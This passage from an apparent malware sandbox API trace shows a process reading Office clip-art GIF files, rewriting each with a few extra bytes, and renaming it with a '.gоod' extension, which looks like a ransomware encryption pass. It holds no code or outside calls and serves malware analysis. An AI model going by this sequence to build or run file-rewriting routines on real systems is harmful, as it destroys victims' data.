GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", lpFilePart=0x0) returned 0x51 [0131.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0131.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), fInfoLevelId=0x0, lpFileInformation=0x3615a90 | out: lpFileInformation=0x3615a90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f)) returned 1 [0131.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0131.166] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", lpFilePart=0x0) returned 0x51 [0131.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0131.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.166] GetFileType (hFile=0x63c) returned 0x1 [0131.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0131.166] GetFileType (hFile=0x63c) returned 0x1 [0131.166] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x2f [0131.166] ReadFile (in: hFile=0x63c, lpBuffer=0x3615d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3615d98*, lpNumberOfBytesRead=0x1f9edc08*=0x2f, lpOverlapped=0x0) returned 1 [0131.167] CloseHandle (hObject=0x63c) returned 1 [0131.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0131.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.195] GetFileType (hFile=0x63c) returned 0x1 [0131.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0131.195] GetFileType (hFile=0x63c) returned 0x1 [0131.195] WriteFile (in: hFile=0x63c, lpBuffer=0x368d5d8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x368d5d8*, lpNumberOfBytesWritten=0x1f9edb18*=0x30, lpOverlapped=0x0) returned 1 [0131.196] CloseHandle (hObject=0x63c) returned 1 [0131.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", lpFilePart=0x0) returned 0x51 [0131.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.gоod", lpFilePart=0x0) returned 0x56 [0131.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0131.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a6a9b24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0131.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0131.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif.gоod")) returned 1 [0131.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", lpFilePart=0x0) returned 0x51 [0131.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0131.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), fInfoLevelId=0x0, lpFileInformation=0x361c350 | out: lpFileInformation=0x361c350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dd)) returned 1 [0131.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0131.323] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", lpFilePart=0x0) returned 0x51 [0131.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0131.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.323] GetFileType (hFile=0x63c) returned 0x1 [0131.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0131.324] GetFileType (hFile=0x63c) returned 0x1 [0131.324] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x2dd [0131.324] ReadFile (in: hFile=0x63c, lpBuffer=0x361c908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x361c908*, lpNumberOfBytesRead=0x1f9edc08*=0x2dd, lpOverlapped=0x0) returned 1 [0131.450] CloseHandle (hObject=0x63c) returned 1 [0132.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", lpFilePart=0x0) returned 0x51 [0132.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0132.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.647] GetFileType (hFile=0x644) returned 0x1 [0132.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0132.648] GetFileType (hFile=0x644) returned 0x1 [0132.648] WriteFile (in: hFile=0x644, lpBuffer=0x36c4a10*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x36c4a10*, lpNumberOfBytesWritten=0x1f9edb18*=0x2e0, lpOverlapped=0x0) returned 1 [0132.650] CloseHandle (hObject=0x644) returned 1 [0132.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", lpFilePart=0x0) returned 0x51 [0132.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.gоod", lpFilePart=0x0) returned 0x56 [0132.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0132.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4b48554a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0)) returned 1 [0132.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0132.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif.gоod")) returned 1 [0132.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", lpFilePart=0x0) returned 0x51 [0132.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0132.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), fInfoLevelId=0x0, lpFileInformation=0x36cc8a8 | out: lpFileInformation=0x36cc8a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x595)) returned 1 [0132.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0132.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", lpFilePart=0x0) returned 0x51 [0132.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0132.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.658] GetFileType (hFile=0x644) returned 0x1 [0132.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0132.658] GetFileType (hFile=0x644) returned 0x1 [0132.658] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x595 [0132.658] ReadFile (in: hFile=0x644, lpBuffer=0x36cd118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36cd118*, lpNumberOfBytesRead=0x1f9edc08*=0x595, lpOverlapped=0x0) returned 1 [0132.664] CloseHandle (hObject=0x644) returned 1 [0133.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", lpFilePart=0x0) returned 0x51 [0133.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0133.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.086] GetFileType (hFile=0x63c) returned 0x1 [0133.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0133.086] GetFileType (hFile=0x63c) returned 0x1 [0133.086] WriteFile (in: hFile=0x63c, lpBuffer=0x3715ed8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3715ed8*, lpNumberOfBytesWritten=0x1f9edb18*=0x5a0, lpOverlapped=0x0) returned 1 [0133.087] CloseHandle (hObject=0x63c) returned 1 [0133.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", lpFilePart=0x0) returned 0x51 [0133.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.gоod", lpFilePart=0x0) returned 0x56 [0133.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0133.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4b8b157f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0)) returned 1 [0133.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0133.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif.gоod")) returned 1 [0133.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0133.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), fInfoLevelId=0x0, lpFileInformation=0x37171b0 | out: lpFileInformation=0x37171b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d1)) returned 1 [0133.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0133.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.089] GetFileType (hFile=0x63c) returned 0x1 [0133.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.089] GetFileType (hFile=0x63c) returned 0x1 [0133.089] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0133.089] ReadFile (in: hFile=0x63c, lpBuffer=0x37175f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x37175f8*, lpNumberOfBytesRead=0x1f9edca8*=0x1d1, lpOverlapped=0x0) returned 1 [0133.090] CloseHandle (hObject=0x63c) returned 1 [0133.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.091] GetFileType (hFile=0x63c) returned 0x1 [0133.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.091] GetFileType (hFile=0x63c) returned 0x1 [0133.091] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x11d1 [0133.091] WriteFile (in: hFile=0x63c, lpBuffer=0x3718ad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3718ad8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0133.091] CloseHandle (hObject=0x63c) returned 1 [0133.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.091] GetFileType (hFile=0x63c) returned 0x1 [0133.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.091] GetFileType (hFile=0x63c) returned 0x1 [0133.091] ReadFile (in: hFile=0x63c, lpBuffer=0x371adb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x371adb0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0133.495] CloseHandle (hObject=0x63c) returned 1 [0133.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.495] GetFileType (hFile=0x63c) returned 0x1 [0133.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.495] GetFileType (hFile=0x63c) returned 0x1 [0133.495] WriteFile (in: hFile=0x63c, lpBuffer=0x36868f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x36868f8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0133.495] CloseHandle (hObject=0x63c) returned 1 [0133.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpFilePart=0x0) returned 0x51 [0133.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.gоod", lpFilePart=0x0) returned 0x56 [0133.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0133.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4bc9399a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11e1)) returned 1 [0133.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0133.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif.gоod")) returned 1 [0133.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 